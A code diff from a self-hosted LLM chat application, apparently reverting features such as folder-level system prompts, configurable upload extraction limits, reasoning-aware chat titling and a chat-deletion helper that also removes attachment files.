if not permissions.has(db, user, "library.use"):
|
||||
raise Refused("You do not have access to the library.")
|
||||
|
||||
|
||||
def _stamp(row, text: str) -> str:
|
||||
"""A revision token for a database row.
|
||||
|
||||
`updated_at` alone would not move for two saves inside one clock tick, so
|
||||
the length rides along -- the same pairing the file token uses, and for the
|
||||
same reason. The text is passed in rather than guessed at: a note keeps it
|
||||
in `body` and a document in `extracted_text`, and a getattr chain that
|
||||
silently found neither would hand every row the same token.
|
||||
"""
|
||||
when = getattr(row, "updated_at", None)
|
||||
if when is not None and when.tzinfo is None:
|
||||
# SQLite does not store the offset, so a row loaded from disk comes back
|
||||
# naive while one still in the session's identity map keeps the tzinfo
|
||||
# it was created with -- and `.timestamp()` reads a naive value as local
|
||||
# time. Without this the same row yields two different tokens depending
|
||||
# on where it was loaded, and every save outside UTC would report a
|
||||
# conflict that is not there. The same normalisation
|
||||
# `compaction.moment` makes, for the same reason.
|
||||
when = when.replace(tzinfo=UTC)
|
||||
return revision_of(int(when.timestamp()) if when else 0, len(text or ""))
|
||||
|
||||
|
||||
def _check_stamp(row, text: str, revision: str) -> None:
|
||||
"""Refuse a save whose token no longer matches. An empty token overwrites.
|
||||
|
||||
Empty is what Overwrite on the conflict card sends: somebody has been shown
|
||||
both versions and chosen. Never save silently over a change; never discard
|
||||
silently either.
|
||||
"""
|
||||
if revision and _stamp(row, text) != revision:
|
||||
raise Conflict(_stamp(row, text))
|
||||
+14
-142
@@ -10,7 +10,6 @@ from sqlalchemy import func, select
|
||||
from sqlalchemy.orm import Session as DBSession
|
||||
|
||||
from lembas.db.models import (
|
||||
KIND_MESSAGES,
|
||||
ROLE_ASSISTANT,
|
||||
ROLE_SYSTEM,
|
||||
ROLE_USER,
|
||||
@@ -34,13 +33,6 @@ FORWARDED_PARAMS = frozenset(
|
||||
|
||||
MAX_TITLE_LENGTH = 60
|
||||
|
||||
# What one title call may spend. A title is a handful of words; the rest of this
|
||||
# is headroom for a model that thinks before it answers, which is most of the
|
||||
# interesting local ones. Too small is not a shorter title -- it is no title at
|
||||
# all, because the thinking consumes the budget and the content field comes back
|
||||
# empty or holding an unclosed `<think>`.
|
||||
TITLE_MAX_TOKENS = 512
|
||||
|
||||
# How long a temporary chat survives after the last thing said in it.
|
||||
TEMPORARY_LIFETIME = timedelta(hours=24)
|
||||
|
||||
@@ -136,16 +128,7 @@ def message_payload(message: Message, *, vision: bool) -> dict[str, Any]:
|
||||
# in view, which is how these models are trained to read a prompt.
|
||||
text = f"{documents}\n\n{text}" if text else documents
|
||||
|
||||
# Images ride on a *user* turn and nowhere else. Until image generation
|
||||
# existed no assistant message had ever carried one, so this was never a
|
||||
# distinction worth drawing -- and the moment one does, the multimodal list
|
||||
# form on an `assistant` turn is rejected outright by OpenAI and by most
|
||||
# local runners, which would break not that turn but every later one in the
|
||||
# chat. What follows from it, and is worth knowing rather than discovering:
|
||||
# a model cannot see the picture it made on a *subsequent* turn (tool
|
||||
# results are not replayed either), so "make it bluer" regenerates rather
|
||||
# than edits. Honest for a text-to-image workflow with no img2img path.
|
||||
images = message.images if (vision and message.role == ROLE_USER) else []
|
||||
images = message.images if vision else []
|
||||
if not images:
|
||||
return {"role": message.role, "content": text}
|
||||
|
||||
@@ -166,53 +149,23 @@ def message_payload(message: Message, *, vision: bool) -> dict[str, Any]:
|
||||
return {"role": message.role, "content": parts}
|
||||
|
||||
|
||||
def folder_system_prompt(db: DBSession, chat: Chat) -> str:
|
||||
"""The nearest prompt on the chat's folder, or on a folder above it.
|
||||
|
||||
Walks up rather than reading one level, because folders nest and a project's
|
||||
prompt belongs on the project rather than on each sub-folder of it. The
|
||||
nearest one wins, which is the same rule the ladder as a whole follows.
|
||||
|
||||
Bounded and cycle-safe the way `api/folders.py:_depth_of` is. Reparenting
|
||||
already refuses to build a cycle, but this runs on the request path for
|
||||
every reply and a row written by something else must not be able to hang it.
|
||||
"""
|
||||
from lembas.db.models import Folder
|
||||
|
||||
folder = chat.folder
|
||||
seen: set[str] = set()
|
||||
while folder is not None and folder.id not in seen:
|
||||
seen.add(folder.id)
|
||||
if (folder.system_prompt or "").strip():
|
||||
return folder.system_prompt.strip()
|
||||
folder = db.get(Folder, folder.parent_id) if folder.parent_id else None
|
||||
return ""
|
||||
|
||||
|
||||
def effective_system_prompt(db: DBSession, chat: Chat) -> str:
|
||||
"""The system prompt a chat actually runs with.
|
||||
|
||||
Four layers, most specific wins outright:
|
||||
Three layers, most specific wins outright:
|
||||
|
||||
chat > folder > model > instance
|
||||
chat > model > instance
|
||||
|
||||
Precedence rather than concatenation. Stacking them reads well in a
|
||||
settings screen and badly in practice: the moment two layers disagree the
|
||||
model gets contradictory instructions and nobody can tell which one is
|
||||
losing. With precedence, "why is it behaving like this" has one answer.
|
||||
|
||||
The folder sits above the model because it is the more specific statement:
|
||||
a model's prompt describes the model wherever it is used, and a folder's
|
||||
describes this piece of work whichever model is pointed at it.
|
||||
"""
|
||||
from lembas.services import settings_store
|
||||
|
||||
if chat.system_prompt.strip():
|
||||
return chat.system_prompt.strip()
|
||||
|
||||
if inherited := folder_system_prompt(db, chat):
|
||||
return inherited
|
||||
|
||||
model = db.scalar(
|
||||
select(Model).where(Model.model_id == chat.model_id).order_by(Model.position)
|
||||
)
|
||||
@@ -266,21 +219,6 @@ def build_messages(
|
||||
select(Message).where(Message.chat_id == chat.id).order_by(Message.created_at)
|
||||
).all()
|
||||
|
||||
# The Messages conversation never ends, so it cannot all be sent. Only the
|
||||
# most recent turns go; everything before them stays on screen and out of
|
||||
# the request. One branch, and the bound is applied before the loop rather
|
||||
# than inside it so the filters below still see a contiguous tail.
|
||||
#
|
||||
# Not compaction: that summarises with a model call and a threshold, on a
|
||||
# conversation somebody decided to shorten. This is mechanical, lossless and
|
||||
# permanent, which is why `compaction.should_compact` refuses this kind --
|
||||
# two mechanisms fighting over one transcript is how you get a summary of a
|
||||
# summary.
|
||||
if chat.kind == KIND_MESSAGES:
|
||||
from lembas.services import messages as messages_service
|
||||
|
||||
history = history[-messages_service.LIVE_CHUNK :]
|
||||
|
||||
for message in history:
|
||||
if upto is not None and message.id == upto.id:
|
||||
break
|
||||
@@ -329,7 +267,6 @@ def build_request(
|
||||
upto: Message | None = None,
|
||||
tools: list[dict[str, Any]] | None = None,
|
||||
user=None,
|
||||
force_tool: str = "",
|
||||
) -> dict[str, Any]:
|
||||
"""The whole request body, tools and harness included.
|
||||
|
||||
@@ -373,19 +310,6 @@ def build_request(
|
||||
}
|
||||
if tools:
|
||||
body["tools"] = tools
|
||||
# Making the model call one particular tool, for `/image` -- the whole
|
||||
# of what that command is. Only ever sent alongside a tools array and
|
||||
# only when something asked for it, so a provider strict about unknown
|
||||
# parameters sees exactly the request it always did until somebody types
|
||||
# a slash command.
|
||||
#
|
||||
# An endpoint that ignores `tool_choice` is not a failure here: the turn
|
||||
# still carries the instruction in words, so the model is being steered
|
||||
# twice and the weaker half is the one that can be dropped.
|
||||
if force_tool and any(
|
||||
(tool.get("function") or {}).get("name") == force_tool for tool in tools
|
||||
):
|
||||
body["tool_choice"] = {"type": "function", "function": {"name": force_tool}}
|
||||
|
||||
apply_effort(body, (chat.params_json or {}).get("reasoning_effort"))
|
||||
return body
|
||||
@@ -514,45 +438,24 @@ async def generate_title(
|
||||
if not template.strip():
|
||||
return fallback_title(question)
|
||||
|
||||
from lembas.services.reasoning import strip_reasoning
|
||||
|
||||
prompt = prompts_service.substitute(
|
||||
template, {"question": question[:500], "answer": answer[:500]}
|
||||
)
|
||||
body = {
|
||||
try:
|
||||
raw = await complete(
|
||||
endpoint,
|
||||
{
|
||||
"model": model_id,
|
||||
"messages": [{"role": ROLE_USER, "content": prompt}],
|
||||
# Enough that a model which thinks before answering can do both. It was
|
||||
# 24, which is ample for six words and nowhere near enough for a
|
||||
# reasoning model: the whole budget went on thinking and the reply came
|
||||
# back either empty or as an unclosed `<think>`, so every chat on such a
|
||||
# model silently fell back to its first prompt and looked as though
|
||||
# titling had never run.
|
||||
"max_tokens": TITLE_MAX_TOKENS,
|
||||
"max_tokens": 24,
|
||||
"temperature": 0.2,
|
||||
}
|
||||
# Deliberately *not* `apply_effort(body, "low")`, tempting as it is: naming
|
||||
# a chat does not reward deliberation and a low effort would make this call
|
||||
# much cheaper. But `reasoning_effort` and `chat_template_kwargs` appear
|
||||
# only when somebody has opted in, precisely so a provider strict about
|
||||
# unknown parameters sees exactly the request it always did — and sending
|
||||
# them here would put them on every instance's title call, where a 400 is
|
||||
# caught and turned into a fallback title. That is titling silently
|
||||
# switching itself off, which is the failure this whole change is fixing.
|
||||
# The token budget above is what makes room for the thinking instead.
|
||||
try:
|
||||
raw = await complete(endpoint, body)
|
||||
},
|
||||
)
|
||||
except LLMError as exc:
|
||||
log.debug("auto-title failed, using fallback: %s", exc)
|
||||
return fallback_title(question)
|
||||
|
||||
# `complete` hands back `message.content` as it arrived. A model that emits
|
||||
# `<think>` tags inline puts them in exactly that field, so without this the
|
||||
# title was "<think>Okay, the user wants a short title for". Reasoning sent
|
||||
# in a separate `reasoning_content` field is ignored by `complete` already.
|
||||
answered, _thinking = strip_reasoning(raw)
|
||||
|
||||
title = " ".join(answered.split()).strip().strip('"“”\'')
|
||||
title = " ".join(raw.split()).strip().strip('"“”\'')
|
||||
# Small models sometimes ignore the instruction and answer the question
|
||||
# instead; an over-long reply is a better signal of that than anything else.
|
||||
if not title or len(title) > MAX_TITLE_LENGTH * 1.5:
|
||||
@@ -569,7 +472,6 @@ def create_message(
|
||||
complete_: bool = True,
|
||||
model_id: str = "",
|
||||
queued: bool = False,
|
||||
machine: bool = False,
|
||||
) -> Message:
|
||||
message = Message(
|
||||
chat_id=chat.id,
|
||||
@@ -578,7 +480,6 @@ def create_message(
|
||||
complete=complete_,
|
||||
model_id=model_id,
|
||||
queued=queued,
|
||||
machine=machine,
|
||||
)
|
||||
db.add(message)
|
||||
db.commit()
|
||||
@@ -621,37 +522,6 @@ async def summarise_for_compaction(
|
||||
return raw.strip()
|
||||
|
||||
|
||||
def delete_chats(db: DBSession, chats) -> int:
|
||||
"""Delete chats, and the files their attachments point at.
|
||||
|
||||
**The one way to delete a chat.** `db.delete(chat)` cascades to its messages
|
||||
and to its attachment *rows*, and leaves every file on disk -- a generated
|
||||
image, an uploaded PDF, a photo -- with nothing that will ever look at them
|
||||
again: `sweep_orphans` only considers uploads that were never attached.
|
||||
|
||||
`files_service.remove_files_for_chats` was written for exactly this and was
|
||||
called from one place, the temporary sweep. The delete button, a schedule's
|
||||
task chat, a helper's hidden chat and deleting an account all went straight
|
||||
to `db.delete`, so four of the five ways a chat can end leaked its files.
|
||||
That is `sharing.forget_principal` again: a helper that exists, is correct,
|
||||
and is not called on the path that needs it.
|
||||
|
||||
The order matters and is why this is a function rather than a note. The
|
||||
files have to be unlinked **while the rows still say which they are**, so it
|
||||
happens before the delete and in the same session.
|
||||
|
||||
Does not commit -- the caller decides, because some of them are deleting
|
||||
other things in the same transaction.
|
||||
"""
|
||||
live = [chat for chat in chats if chat is not None]
|
||||
if not live:
|
||||
return 0
|
||||
files_service.remove_files_for_chats(db, [chat.id for chat in live])
|
||||
for chat in live:
|
||||
db.delete(chat)
|
||||
return len(live)
|
||||
|
||||
|
||||
def sweep_temporary(db: DBSession, older_than: timedelta = TEMPORARY_LIFETIME) -> int:
|
||||
"""Delete temporary chats nobody has touched for a day.
|
||||
|
||||
@@ -683,7 +553,9 @@ def sweep_temporary(db: DBSession, older_than: timedelta = TEMPORARY_LIFETIME) -
|
||||
if not stale:
|
||||
return 0
|
||||
|
||||
delete_chats(db, stale)
|
||||
files_service.remove_files_for_chats(db, [chat.id for chat in stale])
|
||||
for chat in stale:
|
||||
db.delete(chat)
|
||||
db.commit()
|
||||
log.info("swept %d temporary chat(s)", len(stale))
|
||||
return len(stale)
|
||||
|
||||
@@ -25,7 +25,7 @@ from datetime import UTC, datetime
|
||||
from sqlalchemy import select
|
||||
from sqlalchemy.orm import Session as DBSession
|
||||
|
||||
from lembas.db.models import KIND_MESSAGES, ROLE_ASSISTANT, Chat, Message
|
||||
from lembas.db.models import ROLE_ASSISTANT, Chat, Message
|
||||
from lembas.services import metrics as metrics_service
|
||||
from lembas.services import settings_store, tokens
|
||||
|
||||
@@ -187,14 +187,6 @@ def should_compact(db: DBSession, chat: Chat, *, pending: str = "") -> bool:
|
||||
if limit <= 0:
|
||||
return False
|
||||
|
||||
# The Messages conversation bounds its own request mechanically, in
|
||||
# `build_messages`. Two mechanisms narrowing one transcript is how a summary
|
||||
# ends up summarising a summary -- and this one would be summarising turns
|
||||
# that are already outside the request, which achieves nothing at the cost
|
||||
# of a model call and a divider on a page that has no divider.
|
||||
if chat.kind == KIND_MESSAGES:
|
||||
return False
|
||||
|
||||
last = last_complete(db, chat)
|
||||
if last is None:
|
||||
return False
|
||||
|
||||
+21
-237
@@ -29,21 +29,11 @@ from sqlalchemy import select
|
||||
from sqlalchemy.orm import Session as DBSession
|
||||
|
||||
from lembas.config import settings
|
||||
from lembas.db.models import KIND_DOCUMENT, KIND_IMAGE, KIND_TEXT, Attachment, Message
|
||||
from lembas.db.models import KIND_DOCUMENT, KIND_IMAGE, KIND_TEXT, Attachment
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
# --- Limits ------------------------------------------------------------------
|
||||
# These are the *defaults*, and an administrator can move every one of them on
|
||||
# /admin/extraction. They stay here because a default belongs beside the code
|
||||
# that depends on it, and because `prepare` is called from places with no
|
||||
# database session at all.
|
||||
#
|
||||
# The values are read through `limits()`, a process-level snapshot with the same
|
||||
# shape and the same reasoning as `services/branding.py`: one query per process,
|
||||
# dropped when the page saves. Threading a session through `prepare`,
|
||||
# `_process_image`, `_process_pdf` and `_process_text` would have meant six
|
||||
# signatures changed to carry a number.
|
||||
MAX_UPLOAD_BYTES = 20 * 1024 * 1024
|
||||
|
||||
# Longest edge after downscaling. Large enough for a model to read a screenshot
|
||||
@@ -53,9 +43,6 @@ JPEG_QUALITY = 85
|
||||
|
||||
# Pillow's own guard against decompression bombs: a 60,000x60,000 PNG is a few
|
||||
# KB on disk and hundreds of GB decoded.
|
||||
#
|
||||
# Deliberately NOT a setting. It is a guard, not a preference, and nothing good
|
||||
# comes of being able to raise it from a form.
|
||||
Image.MAX_IMAGE_PIXELS = 64_000_000
|
||||
|
||||
MAX_PDF_PAGES = 300
|
||||
@@ -90,84 +77,6 @@ TEXT_EXTENSIONS = {
|
||||
}
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class Limits:
|
||||
"""What extraction is allowed to spend, for one process.
|
||||
|
||||
A snapshot rather than a lookup per call: `prepare` and everything under it
|
||||
are called from routes, from tool runners and from the startup sweep, and
|
||||
several of them have no session in hand. The pattern and the cost are the
|
||||
same as `services/branding.py` -- one query per process, dropped when the
|
||||
admin page saves, and stale across workers until each next reads.
|
||||
"""
|
||||
|
||||
max_upload_bytes: int = MAX_UPLOAD_BYTES
|
||||
max_image_edge: int = MAX_IMAGE_EDGE
|
||||
jpeg_quality: int = JPEG_QUALITY
|
||||
max_pdf_pages: int = MAX_PDF_PAGES
|
||||
max_extracted_chars: int = MAX_EXTRACTED_CHARS
|
||||
orphan_hours: int = 24
|
||||
extra_text_extensions: tuple[str, ...] = ()
|
||||
reject_unreadable_pdf: bool = False
|
||||
|
||||
def media_type_for(self, extension: str) -> str | None:
|
||||
"""The media type for a text extension, or None if it is not one.
|
||||
|
||||
The built-in table first, then the administrator's additions as plain
|
||||
text. Additions are extensions and not a mapping, because the mapping is
|
||||
a thing somebody would have to get right twice and the media type of a
|
||||
`.env` is `text/plain` whatever anybody types.
|
||||
"""
|
||||
if extension in TEXT_EXTENSIONS:
|
||||
return TEXT_EXTENSIONS[extension]
|
||||
return "text/plain" if extension in self.extra_text_extensions else None
|
||||
|
||||
|
||||
_LIMITS: Limits | None = None
|
||||
|
||||
|
||||
def limits() -> Limits:
|
||||
"""The current extraction limits. Never raises -- see `branding.snapshot`."""
|
||||
global _LIMITS
|
||||
if _LIMITS is not None:
|
||||
return _LIMITS
|
||||
try:
|
||||
from lembas.db.session import session_scope
|
||||
from lembas.services import settings_store
|
||||
|
||||
with session_scope() as db:
|
||||
values = settings_store.extraction(db)
|
||||
_LIMITS = Limits(
|
||||
max_upload_bytes=int(values["max_upload_mb"]) * 1024 * 1024,
|
||||
max_image_edge=int(values["max_image_edge"]),
|
||||
jpeg_quality=int(values["jpeg_quality"]),
|
||||
max_pdf_pages=int(values["max_pdf_pages"]),
|
||||
max_extracted_chars=int(values["max_extracted_chars"]),
|
||||
orphan_hours=int(values["orphan_hours"]),
|
||||
extra_text_extensions=tuple(
|
||||
_clean_extension(item) for item in values["extra_text_extensions"]
|
||||
),
|
||||
reject_unreadable_pdf=bool(values.get("reject_unreadable_pdf")),
|
||||
)
|
||||
except Exception: # noqa: BLE001 - the shipped defaults are a usable answer
|
||||
log.debug("could not read extraction settings; using defaults", exc_info=True)
|
||||
return Limits()
|
||||
return _LIMITS
|
||||
|
||||
|
||||
def _clean_extension(raw: str) -> str:
|
||||
value = str(raw or "").strip().lower()
|
||||
if not value:
|
||||
return ""
|
||||
return value if value.startswith(".") else f".{value}"
|
||||
|
||||
|
||||
def forget() -> None:
|
||||
"""Drop the snapshot. Called by the admin page's save, and by tests."""
|
||||
global _LIMITS
|
||||
_LIMITS = None
|
||||
|
||||
|
||||
class FileError(Exception):
|
||||
"""A rejected upload, with a message fit to show the user."""
|
||||
|
||||
@@ -226,7 +135,6 @@ def _looks_like_pdf(payload: bytes) -> bool:
|
||||
|
||||
# --- Processing --------------------------------------------------------------
|
||||
def _process_image(payload: bytes) -> Prepared:
|
||||
bounds = limits()
|
||||
try:
|
||||
with Image.open(io.BytesIO(payload)) as image:
|
||||
image.load()
|
||||
@@ -237,8 +145,8 @@ def _process_image(payload: bytes) -> Prepared:
|
||||
|
||||
width, height = frame.size
|
||||
longest = max(width, height)
|
||||
if longest > bounds.max_image_edge:
|
||||
scale = bounds.max_image_edge / longest
|
||||
if longest > MAX_IMAGE_EDGE:
|
||||
scale = MAX_IMAGE_EDGE / longest
|
||||
frame = frame.resize(
|
||||
(max(1, int(width * scale)), max(1, int(height * scale))),
|
||||
Image.LANCZOS,
|
||||
@@ -249,7 +157,7 @@ def _process_image(payload: bytes) -> Prepared:
|
||||
frame.save(buffer, format="PNG", optimize=True)
|
||||
media_type, extension = "image/png", ".png"
|
||||
else:
|
||||
frame.save(buffer, format="JPEG", quality=bounds.jpeg_quality, optimize=True)
|
||||
frame.save(buffer, format="JPEG", quality=JPEG_QUALITY, optimize=True)
|
||||
media_type, extension = "image/jpeg", ".jpg"
|
||||
|
||||
return Prepared(
|
||||
@@ -267,7 +175,6 @@ def _process_image(payload: bytes) -> Prepared:
|
||||
|
||||
|
||||
def _process_pdf(payload: bytes) -> Prepared:
|
||||
bounds = limits()
|
||||
from pypdf import PdfReader
|
||||
from pypdf.errors import PdfReadError
|
||||
|
||||
@@ -291,7 +198,7 @@ def _process_pdf(payload: bytes) -> Prepared:
|
||||
chunks: list[str] = []
|
||||
total = 0
|
||||
|
||||
for index, page in enumerate(reader.pages[:bounds.max_pdf_pages]):
|
||||
for index, page in enumerate(reader.pages[:MAX_PDF_PAGES]):
|
||||
try:
|
||||
text = page.extract_text() or ""
|
||||
except Exception as exc: # noqa: BLE001 - one bad page is not fatal
|
||||
@@ -301,14 +208,14 @@ def _process_pdf(payload: bytes) -> Prepared:
|
||||
continue
|
||||
chunks.append(f"[page {index + 1}]\n{text.strip()}")
|
||||
total += len(text)
|
||||
if total >= bounds.max_extracted_chars:
|
||||
if total >= MAX_EXTRACTED_CHARS:
|
||||
prepared.truncated = True
|
||||
break
|
||||
|
||||
if prepared.pages > bounds.max_pdf_pages:
|
||||
if prepared.pages > MAX_PDF_PAGES:
|
||||
prepared.truncated = True
|
||||
|
||||
prepared.extracted_text = "\n\n".join(chunks)[:bounds.max_extracted_chars]
|
||||
prepared.extracted_text = "\n\n".join(chunks)[:MAX_EXTRACTED_CHARS]
|
||||
|
||||
if not prepared.extracted_text.strip():
|
||||
# Almost always a scan. Saying so beats the model silently ignoring
|
||||
@@ -329,7 +236,6 @@ def _process_pdf(payload: bytes) -> Prepared:
|
||||
|
||||
|
||||
def _process_text(payload: bytes, filename: str) -> Prepared:
|
||||
bounds = limits()
|
||||
for encoding in ("utf-8", "utf-16", "latin-1"):
|
||||
try:
|
||||
text = payload.decode(encoding)
|
||||
@@ -344,73 +250,28 @@ def _process_text(payload: bytes, filename: str) -> Prepared:
|
||||
if "\x00" in text[:4096]:
|
||||
raise FileError("That file is not text, and is not a format LLeMbas can read.")
|
||||
|
||||
truncated = len(text) > bounds.max_extracted_chars
|
||||
truncated = len(text) > MAX_EXTRACTED_CHARS
|
||||
extension = Path(filename).suffix.lower()
|
||||
|
||||
return Prepared(
|
||||
payload=payload,
|
||||
kind=KIND_TEXT,
|
||||
media_type=bounds.media_type_for(extension) or "text/plain",
|
||||
extension=extension if bounds.media_type_for(extension) else ".txt",
|
||||
extracted_text=text[:bounds.max_extracted_chars],
|
||||
media_type=TEXT_EXTENSIONS.get(extension, "text/plain"),
|
||||
extension=extension if extension in TEXT_EXTENSIONS else ".txt",
|
||||
extracted_text=text[:MAX_EXTRACTED_CHARS],
|
||||
truncated=truncated,
|
||||
)
|
||||
|
||||
|
||||
def _keep_image(payload: bytes) -> Prepared:
|
||||
"""An image stored as it arrived, measured but not re-encoded.
|
||||
|
||||
`_process_image` exists to protect the window from a phone camera: eight
|
||||
megapixels of JPEG become 1400px of JPEG at quality 85, and for something
|
||||
somebody photographed that is all upside. For an image *this application
|
||||
asked a diffusion model to make*, at a size somebody chose, it is a visible
|
||||
loss on the one output the feature exists to produce -- soft detail and
|
||||
ringing on exactly the fine texture the prompt was about.
|
||||
|
||||
Still opened by Pillow, so a malformed file is still refused and the
|
||||
dimensions are still real rather than claimed; still bounded by
|
||||
`MAX_UPLOAD_BYTES` in `prepare`. What is skipped is only the resize and the
|
||||
transcode.
|
||||
"""
|
||||
detected = _detect_image(payload)
|
||||
if detected is None:
|
||||
raise FileError("That is not an image.")
|
||||
media_type, extension = detected
|
||||
try:
|
||||
with Image.open(io.BytesIO(payload)) as image:
|
||||
image.load()
|
||||
width, height = image.size
|
||||
except Image.DecompressionBombError as exc:
|
||||
raise FileError("That image's dimensions are implausibly large.") from exc
|
||||
except (UnidentifiedImageError, OSError, ValueError) as exc:
|
||||
raise FileError("That image could not be read. Is it corrupt?") from exc
|
||||
|
||||
return Prepared(
|
||||
payload=payload,
|
||||
kind=KIND_IMAGE,
|
||||
media_type=media_type,
|
||||
extension=extension,
|
||||
width=width,
|
||||
height=height,
|
||||
)
|
||||
|
||||
|
||||
def prepare(payload: bytes, filename: str, *, keep_original: bool = False) -> Prepared:
|
||||
"""Inspect an upload, decide what it is, and process it accordingly.
|
||||
|
||||
`keep_original` is for an image the application produced rather than one
|
||||
somebody sent: see `_keep_image`. It applies to images only -- there is no
|
||||
argument for keeping an unparsed PDF, and the text path stores its bytes
|
||||
verbatim already.
|
||||
"""
|
||||
def prepare(payload: bytes, filename: str) -> Prepared:
|
||||
"""Inspect an upload, decide what it is, and process it accordingly."""
|
||||
if not payload:
|
||||
raise FileError("That file is empty.")
|
||||
ceiling = limits().max_upload_bytes
|
||||
if len(payload) > ceiling:
|
||||
raise FileError(f"Files must be under {ceiling // (1024 * 1024)} MB.")
|
||||
if len(payload) > MAX_UPLOAD_BYTES:
|
||||
raise FileError(f"Files must be under {MAX_UPLOAD_BYTES // (1024 * 1024)} MB.")
|
||||
|
||||
if _detect_image(payload) is not None:
|
||||
return _keep_image(payload) if keep_original else _process_image(payload)
|
||||
return _process_image(payload)
|
||||
if _looks_like_pdf(payload):
|
||||
return _process_pdf(payload)
|
||||
return _process_text(payload, filename)
|
||||
@@ -430,19 +291,9 @@ def store(
|
||||
chat_id: str | None,
|
||||
payload: bytes,
|
||||
filename: str,
|
||||
keep_original: bool = False,
|
||||
source_path: str = "",
|
||||
source_label: str = "",
|
||||
message_id: str | None = None,
|
||||
) -> Attachment:
|
||||
"""Process and persist an upload. Raises FileError if it is unusable.
|
||||
|
||||
`message_id` is normally left null -- an upload is bound to a turn by
|
||||
`claim()` when the message is sent. A generated image is the mirror image of
|
||||
that: it exists *because* a reply is being written, so it says which turn it
|
||||
belongs to at the moment it is made.
|
||||
"""
|
||||
prepared = prepare(payload, filename, keep_original=keep_original)
|
||||
"""Process and persist an upload. Raises FileError if it is unusable."""
|
||||
prepared = prepare(payload, filename)
|
||||
|
||||
stored_name = f"{secrets.token_hex(16)}{prepared.extension}"
|
||||
(attachments_dir() / stored_name).write_bytes(prepared.payload)
|
||||
@@ -450,7 +301,6 @@ def store(
|
||||
attachment = Attachment(
|
||||
user_id=user_id,
|
||||
chat_id=chat_id,
|
||||
message_id=message_id,
|
||||
filename=safe_display_name(filename),
|
||||
stored_name=stored_name,
|
||||
media_type=prepared.media_type,
|
||||
@@ -462,8 +312,6 @@ def store(
|
||||
pages=prepared.pages,
|
||||
truncated=prepared.truncated,
|
||||
extraction_error=prepared.extraction_error,
|
||||
source_path=source_path[:1000],
|
||||
source_label=source_label[:200],
|
||||
)
|
||||
db.add(attachment)
|
||||
db.commit()
|
||||
@@ -501,7 +349,7 @@ def store_text(
|
||||
on the tag around it, which is what a reader sees on the chip and what
|
||||
survives if the text is later truncated away from its own first line.
|
||||
"""
|
||||
body = text[:limits().max_extracted_chars]
|
||||
body = text[:MAX_EXTRACTED_CHARS]
|
||||
payload = body.encode("utf-8")
|
||||
|
||||
stored_name = f"{secrets.token_hex(16)}.txt"
|
||||
@@ -621,19 +469,6 @@ def claim(db: DBSession, *, ids: list[str], user_id: str, message_id: str) -> li
|
||||
|
||||
Only unclaimed attachments belonging to this user are taken, so a stray or
|
||||
forged id cannot pull someone else's file into a conversation.
|
||||
|
||||
**`chat_id` is set here, and it was not.** `POST /api/files` takes one, and
|
||||
the composer sends it -- but only once a chat exists. A file picked on the
|
||||
*new-chat* screen is stored before there is a chat to name, so its
|
||||
`chat_id` stayed NULL for the rest of its life even after the message it
|
||||
belongs to was sent. Six places filter on that column, and every one of them
|
||||
was quietly wrong about those files: the harness did not name them among the
|
||||
attached documents, the canvas refused to open them, and
|
||||
`remove_files_for_chats` could not find them to delete -- so the temporary
|
||||
sweep, the one caller it had, was removing nothing.
|
||||
|
||||
Read from the message rather than passed in, so no caller can bind an
|
||||
attachment to one chat and a message in another.
|
||||
"""
|
||||
if not ids:
|
||||
return []
|
||||
@@ -647,11 +482,8 @@ def claim(db: DBSession, *, ids: list[str], user_id: str, message_id: str) -> li
|
||||
)
|
||||
)
|
||||
)
|
||||
message = db.get(Message, message_id)
|
||||
for attachment in pending:
|
||||
attachment.message_id = message_id
|
||||
if message is not None:
|
||||
attachment.chat_id = message.chat_id
|
||||
db.commit()
|
||||
return pending
|
||||
|
||||
@@ -676,19 +508,12 @@ def remove_files_for_chats(db: DBSession, chat_ids: list[str]) -> int:
|
||||
return removed
|
||||
|
||||
|
||||
def sweep_orphans(db: DBSession, older_than: timedelta | None = None) -> int:
|
||||
def sweep_orphans(db: DBSession, older_than: timedelta = ORPHAN_AGE) -> int:
|
||||
"""Delete uploads that were never attached to a message.
|
||||
|
||||
A file picked in the composer and then abandoned would otherwise sit on
|
||||
disk forever.
|
||||
|
||||
`older_than` defaults to the configured age rather than to a constant, and
|
||||
it is resolved *here* rather than in the signature: a default argument is
|
||||
evaluated at import, so a module-level `ORPHAN_AGE` in the signature would
|
||||
pin the shipped 24 hours whatever an administrator later set.
|
||||
"""
|
||||
if older_than is None:
|
||||
older_than = timedelta(hours=limits().orphan_hours)
|
||||
cutoff = datetime.now(UTC) - older_than
|
||||
orphans = list(db.scalars(select(Attachment).where(Attachment.message_id.is_(None))))
|
||||
|
||||
@@ -724,44 +549,3 @@ def data_uri(attachment: Attachment) -> str | None:
|
||||
return None
|
||||
encoded = base64.b64encode(path.read_bytes()).decode("ascii")
|
||||
return f"data:{attachment.media_type};base64,{encoded}"
|
||||
|
||||
|
||||
def preview_data_uri(payload: bytes, *, max_edge: int = 0) -> str | None:
|
||||
"""The same thing for bytes in hand, downscaled, for a model to look at.
|
||||
|
||||
Fidelity and weight are two different jobs. What is stored is what ComfyUI
|
||||
produced, because that is the artefact somebody keeps; what is *shown to a
|
||||
model to be judged* wants to be small, because a 400KB PNG is 550KB of
|
||||
base64 in a request that exists only to answer one question.
|
||||
|
||||
Takes bytes rather than an Attachment: the reviewer looks at an image that
|
||||
may be about to be thrown away, and writing a row for something rejected
|
||||
seconds later is work with nothing to show for it.
|
||||
|
||||
`max_edge` of 0 means the configured one. Zero rather than None because the
|
||||
caller that passes a number passes a number, and a sentinel that is also a
|
||||
plausible value would be worse -- an edge of zero is not a picture.
|
||||
"""
|
||||
import base64
|
||||
|
||||
max_edge = max_edge or limits().max_image_edge
|
||||
|
||||
try:
|
||||
with Image.open(io.BytesIO(payload)) as image:
|
||||
image.load()
|
||||
frame = image.convert("RGB")
|
||||
longest = max(frame.size)
|
||||
if longest > max_edge:
|
||||
scale = max_edge / longest
|
||||
frame = frame.resize(
|
||||
(max(1, int(frame.width * scale)), max(1, int(frame.height * scale))),
|
||||
Image.LANCZOS,
|
||||
)
|
||||
buffer = io.BytesIO()
|
||||
frame.save(buffer, format="JPEG", quality=limits().jpeg_quality, optimize=True)
|
||||
except (Image.DecompressionBombError, UnidentifiedImageError, OSError, ValueError):
|
||||
log.warning("could not build a preview of a generated image", exc_info=True)
|
||||
return None
|
||||
|
||||
encoded = base64.b64encode(buffer.getvalue()).decode("ascii")
|
||||
